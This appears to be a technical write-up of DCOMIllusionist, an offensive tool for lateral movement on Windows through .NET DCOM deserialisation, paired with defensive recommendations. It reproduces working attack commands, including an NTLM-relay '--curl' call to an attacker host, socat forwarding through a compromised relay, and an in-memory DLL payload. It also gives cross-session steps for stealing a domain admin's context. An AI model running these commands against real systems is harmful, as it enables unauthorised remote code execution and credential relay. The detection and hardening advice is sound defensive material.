img/ SVGs.
Executive Summary
DCOMIllusionist is Synacktiv’s open-source C# implementation of a .NET-DCOM-deserialisation lateral-movement primitive originally written up by James Forshaw — the same general technique that underpinned the “Potato” privilege-escalation family. Given local administrator on both the attacker host and the target Windows machine, plus network reachability from target back to attacker, the tool remotely flips a few registry keys so that a chosen .NET CLSID is exposed as a DCOM server, forces the server to fetch a serialised object from the attacker, and lets the standard .NET deserialisation path turn that object into arbitrary in-memory code execution. Nothing is written to disk on the target.
The interesting parts — beyond “classic DCOM activation but with deserialisation as the sink” — are the operational features Synacktiv layered on top. Cross-session exploitation works through the session-moniker mechanism, so you can land a command in the security context of a different user already logged on (the classic domain-admin-in-session-3 scenario). The HTTP gadget (--curl) turns the target into an NTLM-relay source against an attacker-controlled ntlmrelayx.py — useful for relaying that domain admin’s authentication into something useful. The DLL loader (--load-dll) executes an arbitrary .NET assembly entirely in memory. There is an indirect-access mode (--listen) that uses an intermediate socat relay when the target can’t talk to the attacker directly. There’s a low-privilege variant (--hku + --fake-clsid) for users who are only in Performance Log Users or Distributed COM Users. And the registry surgery is backed by an automatic backup-and-restore step so the box is reverted on exit.
Where It Came From
The technique itself is not new. James Forshaw originally described — in two pieces of research that the README links — that when a DCOM server written in .NET receives a remote object, it queries the IManagedObject DCOM interface. If the interface is present, the server invokes GetSerializedBuffer on it. The client (i.e. anything claiming to implement the interface) responds with a serialised buffer, which the server then deserialises. .NET’s BinaryFormatter happily turns that buffer into arbitrary objects, and from there into arbitrary code — the entire ysoserial.net catalogue of deserialisation gadgets is in scope.
Forshaw described the technique as a privilege-escalation primitive. DCOMIllusionist’s contribution is adapting it for lateral movement — specifically by remotely re-configuring the target’s registry to expose a chosen .NET CLSID over DCOM in the first place. By default, no .NET DCOM servers are exposed on the Windows Server versions Synacktiv tested. The tool fixes that on the way in and cleans up on the way out. Picking the right AppID also enables the cross-session-via-session-moniker variant.
Building It
A release binary is published in the repository, or you can build from source. The repository ships as a .NET project; the README’s build steps are:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
Usage at a Glance
The canonical invocation is a runas /netonly shell from the attacker host followed by the DCOMIllusionist call, naming the target, the session to land in, and an attack mode:
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
Administrative access is required on both the attacking host (via an elevated shell) and the target machine for the standard flow. The full help text is dense; the README’s own listing is the cleanest reference and is reproduced verbatim below.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl |
--file-write-src | --load-dll | --yso-b64 | --test-network |
--list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU
instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute
(including namespace)
--dll-method <value> Static Method in the class to execute
(Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to
attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen
other.attacker.local --load-dll "payload.dll" --dll-class "Exploit"
--session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 -
System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E -
System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB -
Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 -
Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 -
CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 -
User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC -
Remote Cloud Store Factory (Interactive user)
The CLSID and AppId tables matter operationally. The defaults are chosen to work without further configuration, but for cross-session attacks you need an AppID configured to run under the interactive user’s identity — the two such AppIDs the tool ships with are User Account Control Settings and Remote Cloud Store Factory.
Cross-Session Execution: --session
The --session switch is what makes this tool more interesting than “yet another DCOM execution vehicle.” By choosing an AppID configured to run under the interactive user’s identity (the tool defaults to the User Account Control Settings AppID for this case — no need to supply --appid manually), commands execute in the security context of whichever user is logged on in the chosen session. That covers the canonical “domain admin already has an interactive session somewhere on a server” pattern that internal pentesters live for.
The constraint Synacktiv flags is that cross-session mode only works if the attacking machine is domain-joined. The user’s authentication is performed against the attacker host, and accepting that authentication requires domain membership.
Listing Sessions: --list-sessions
Before deciding which session to attack, you need to know what sessions exist. --list-sessions uses WTSEnumerateSessions to enumerate the target’s interactive and active sessions remotely.
Indirect Access via Relay: --listen
The exploit requires the target to reach the attacker host so that it can fetch the serialised gadget object. If a network policy or a firewall blocks that path, the standard exploitation fails. --listen exists to point the target at an intermediate host the attacker has already compromised, which forwards traffic onward.

The classic minimal setup uses socat on the intermediate host:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
Then on the attacker box, point DCOMIllusionist at the compromised intermediate as the listener while the actual target stays as -t:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
The Identity-from-runas Edge Case: --attacker-sid
When the operator runs the tool from a runas /netonly shell, Windows can’t resolve the identity automatically because the shell’s local primary identity is one user and the network identity is another. The tool exposes --attacker-sid so the operator can supply the SID explicitly. Without it, the registry-permission step won’t know whose SID to grant access to.
Command Execution: --exec / --ps-exec
The simplest payload is “run a binary.” --exec runs an arbitrary binary on the target; --exec-args supplies arguments:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
--ps-exec is a sugar wrapper that runs PowerShell with the same effect — --ps-exec calc is shorthand for the longer invocation above.
HTTP Gadget for NTLM Relay: --curl
The --curl mode is one of the more interesting capabilities. Combined with cross-session execution, it gives an authenticated HTTP request from a privileged session on the target. If you arrange for that request to land on an attacker-controlled ntlmrelayx.py listener, the user’s NTLM authentication can be relayed to whatever back-end ntlmrelayx can reach — LDAP, SMB, Exchange Web Services, anything that accepts NTLM. The example invocation is the canonical “steal the domain admin’s session via NTLM relay” chain:
PS F:> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
In-Memory DLL Load: --load-dll
An arbitrary .NET DLL can be loaded directly into the remote process without ever touching disk. The README’s sample payload is intentionally trivial — spawn calc — but the pattern generalises to any C# class with a static method:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
By default the static Run method is executed; --dll-method overrides that.
Pre-Built Gadgets: --yso-b64
For more elaborate gadget chains, the tool accepts a Base64-encoded ysoserial.net payload via --yso-b64. The payload is wrapped in a RolePrincipal instance and deserialised by the target. The README’s only caveat: this only works with BinaryFormatter — the modern System.Text.Json path is not in scope.
Confidence Check: --test-network
Before running the real attack, --test-network does the full exploit dance with a dummy payload, confirming that the target can actually reach the attacker host. Useful when the operator is unsure whether --listen indirection is needed.
Low-Privilege Variant: --hku and --fake-clsid
The standard flow requires local admin on the target so that the tool can edit HKLM. The --hku switch shifts the work to HKEY_USERS instead, making the technique reachable from a user who’s a member of Performance Log Users or Distributed COM Users — groups that grant DCOM access without full admin. In that scenario the tool needs an explicit --attacker-sid and a writeable CLSID; the easy way is to mint a fresh fake CLSID + AppId with --fake-clsid so permissions on the AppId allow the attacker SID to activate the DCOM server.
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
The --fake-clsid bootstrap step prints the fresh identifiers so the operator can pin them in subsequent invocations:
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
Technical Details — The .NET DCOM Deserialisation Trick

IManagedObject::GetSerializedBuffer round-trip, deserialisation in-process. Source: original repository.The core trick is straightforward to state and clever in its details:
- A .NET DCOM server, on receiving a remote object, queries it for the
IManagedObjectinterface. If the interface is supported, the server callsGetSerializedBuffer. - The client replies with a serialised object. The server deserialises it.
BinaryFormatterends up turning the buffer into arbitrary objects — and, via the well-known ysoserial.net gadget chains, into arbitrary code execution. - For the deserialisation to happen, the victim machine has to talk back to the attacker host to fetch the serialised buffer in the first place — which is why the indirect-access mode (
--listen) exists for restricted networks.
The tooling-craft detail that matters: by forging arbitrary DCOM OBJREF structures, the attacker redirects the target onto any remote endpoint. Forshaw’s original PoC — the foundation for the “Potato” family — used the PointerMoniker GUID to marshal arbitrary objects. That triggered authentication but failed in the subsequent steps. DCOMIllusionist instead uses the standard marshaller GUID, which lets it craft fully functional arbitrary OBJREFs — the missing piece that turns the technique into a usable remote-execution primitive.
The other necessary engineering work is that no .NET DCOM servers are exposed by default on the Windows Server versions Synacktiv tested. The tool fixes that by remotely modifying the Windows registry to associate a custom AppID with a .NET CLSID, which surfaces the class over DCOM. Picking the right AppID at this step also enables cross-session activation through the session moniker.
An interesting authentication subtlety: when the chosen AppID is not configured to run as the interactive user, the target’s authentication attempt against the attacker host arrives as Anonymous. The attacker host must therefore accept anonymous DCOM authentication, which requires loosening its default DCOM access permissions. When the AppID is tied to the interactive user, the authentication is the user’s — which only works if the attacker host is domain-joined. To accept that authentication transparently, the tool temporarily adds the Everyone group to the attacker host’s default DCOM access permissions for the duration of the attack.
Only the access permissions are modified; launch and activation permissions are not touched. All changes are reverted once the operation completes. If something goes wrong mid-flow, a backup of the original settings is created on disk and can be restored via --restore-backup.
--restore-backup path is the documented recovery.
Acknowledgements (per the README)
- @tiraniddo — James Forshaw’s original research, plus
oleviewdotnet, large parts of which appear in this and other public C# offensive tools. - @nt0x4 — the
TextFormattingRunPropertiesgadget approach for in-memory DLL loading, reused for the--curland--file-writepaths. - @cube0x0 — KrbRelay.
- @pwntester — ysoserial.net.
- Dylan Tran and Jimmy Bayne of IBM X-Force Red, whose ForsHops is acknowledged as an inspiration.
Key Takeaways
- The primitive is .NET
BinaryFormatterdeserialisation on the DCOM-server side, triggered throughIManagedObject::GetSerializedBuffer. Any RCE-flavoured ysoserial.net gadget chain becomes a remote-execution primitive on the target. - Lateral movement is enabled by remotely re-wiring the target’s registry to associate a .NET CLSID with a chosen AppID, exposing the class over DCOM where it normally isn’t. The registry edits are reverted on exit.
- Cross-session execution lands commands in the security context of whichever user is logged on in the chosen session. The canonical “domain admin already has an interactive session” pattern collapses to
--session N. Attacker host must be domain-joined for that variant. - The
--curlmode turns the target into an authenticated HTTP client atntlmrelayx’s mercy, which is the most operationally interesting capability for chaining into NTLM-relay-driven privilege escalation. - The DLL loader runs arbitrary .NET assemblies entirely in memory. No file is written to disk on the target, so file-based detection has nothing to grab.
- The
--listenrelay accommodates restricted networks by routing through an intermediate compromised host on ports 135 and the chosen non-standard DCOM port.socatis the documented enabler. - Low-privilege exploitation via
--hku+--fake-clsidbrings membership inPerformance Log UsersorDistributed COM Usersinto the attack surface — you don’t strictly need local admin on the target.
Defensive Recommendations
- Limit who can edit the relevant registry hives remotely. The entire attack hinges on writing to
HKLM\SOFTWARE\Classes\AppIDorHKLM\SOFTWARE\Classes\CLSIDon the target. Audit which accounts have remote-registry write access; the standard hardening guidance — disable the Remote Registry service where it isn’t needed — remains the highest-leverage move. - Membership in
Distributed COM UsersandPerformance Log Usersis a real attack surface. The--hku+--fake-clsidpath means these groups effectively grant a foothold for in-memory code execution. Treat them like privileged groups in your IAM model. - Hunt for inbound DCOM activations on non-standard ports. DCOMIllusionist defaults to
49765and supports any-pvalue. Sysmon network connections on port 135 followed by an activation handshake to a high port from a remote host, into a process other thansvchost.exe’s usual DCOM handlers, are high-fidelity alerts. - Alert on Sysmon Event ID 13 (RegistrySetValue) under
HKLM\SOFTWARE\Classes\AppID\{...}fromsvchost.exe(Remote Registry). The exploitation creates fresh AppID/CLSID associations under those keys; legitimate provisioning shouldn’t arrive through that path on most fleets. - Watch for
BinaryFormatterdeserialisation telemetry inside .NET DCOM host processes. .NET deserialisation events are observable via ETW; events firing indllhost.exechildren with a remote network parentage on the COM activation are the signature. - Block
BinaryFormatteruse in your own .NET code. Microsoft has been moving the entire ecosystem away fromBinaryFormatter. If your internal services don’t already useSystem.Text.Jsonor another sandboxed serialiser, prioritise that migration — same primitive shows up in many other code paths. - Block outbound DCOM (TCP 135) and outbound DCOM-activated high-port traffic at the host firewall for workstations and member servers that have no business making outbound DCOM calls. The
--listentrick assumes target-to-attacker reachability; egress filtering breaks the chain. - Domain-join the attack-detection telemetry pipeline, not just the production hosts. Cross-session attacks rely on the attacker host being domain-joined; mature SOCs already monitor for unfamiliar domain-joined machines accepting NTLM authentication, but it’s worth double-checking the alerting fires on a fresh machine joining the domain from an operator’s netbook.
Conclusion
DCOMIllusionist is best understood as the lateral-movement counterpart to the “Potato” family of privilege-escalation tools — same .NET DCOM deserialisation primitive, applied across a network boundary instead of within a single host, with a clean set of operational features (cross-session execution, HTTP-gadget-driven NTLM relay, in-memory DLL load, low-privilege variant, network-relay fallback) layered on top. From an offensive engineering perspective, the standard-marshaller-GUID trick that turns Forshaw’s “trigger authentication” PoC into “trigger arbitrary code execution” is the load-bearing piece of work. From a defensive perspective, the entire attack surface is registry-permission-and-DCOM-activation hygiene, which is exactly the long tail of Windows hardening guidance most fleets only ever apply selectively. The full source and binary releases are on Synacktiv’s repository.
Original text: synacktiv/DCOMIllusionist on GitHub by Synacktiv.

